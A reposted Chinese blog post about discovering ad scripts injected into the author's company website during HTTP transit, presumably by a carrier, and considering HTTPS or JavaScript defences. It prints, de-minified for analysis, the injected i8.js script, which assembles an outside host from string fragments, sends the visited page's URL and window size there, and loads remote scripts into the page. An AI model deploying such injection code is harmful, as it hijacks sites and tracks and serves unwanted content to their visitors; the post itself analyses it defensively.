说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被 ...
说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被拦截和修改了。这就好像,你有个网店,给客户发货的途中,包装上竟被人贴上了小广告,客户就是上帝,我们要顾及上帝的感受!!
(所以我们有理由怀疑:要么某个快递员不负责或做了手脚,要么某个中转点不负责或做了手脚)
网络运营商说绝对不是他们做的,工信部表示也无可奈何。我除了信,还是信了!外求无效,只能自己想办法了!
第一种:
HTTPS应该可以解决。但没用过,安全性要求不高,也就没折腾。
第二种:
通过JS来反抗。毕竟广告植入也是通过JS来做的。
下面就说说JS的方法:
发现了自己网站有广告后,又在其他网站上也有所发现,引用的js也是同一个,源码如下:
提前注意i8.js引用的位置。打开这个i8.js,发现是一段压缩过的、写法奇特的代码,为了好分析,格式化后如下:
(function(d) { function $a(p) { try { var x = d.getElementsByTagName("head")[0]; var y = x.appendChild($s(p)); setTimeout(function() { x.removeChild(y) }, 2000) } catch(e) {} } function $c(n) { return d.createElement(n) } function $s(p) { var j = $c("script"); j.src = p; j.async = true; j.type = "text/javascript"; return j } var amt = 0; function $rn() { var ww = d.body.clientWidth; var hh = d.body.clientHeight; var u = { j: "ht", c: "com.cn", q: "tp:", m: "b.", n: "wdzs", d: "i." }; var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c; var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh; if (top == this) { if (ww < 300 || hh < 40) { amt += 1; if (amt < 3) { setTimeout($rn, 1000) } else { $a(be + "/fmt8p/m.php?u=" + en) } } else { $a(be + "/fmt8p/?u=" + en) } } } setTimeout($rn, 500)})(document);
原标题:一次屏蔽无良广告的记录
关键词:
*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们:
admin#shaoqun.com
(#换成@)。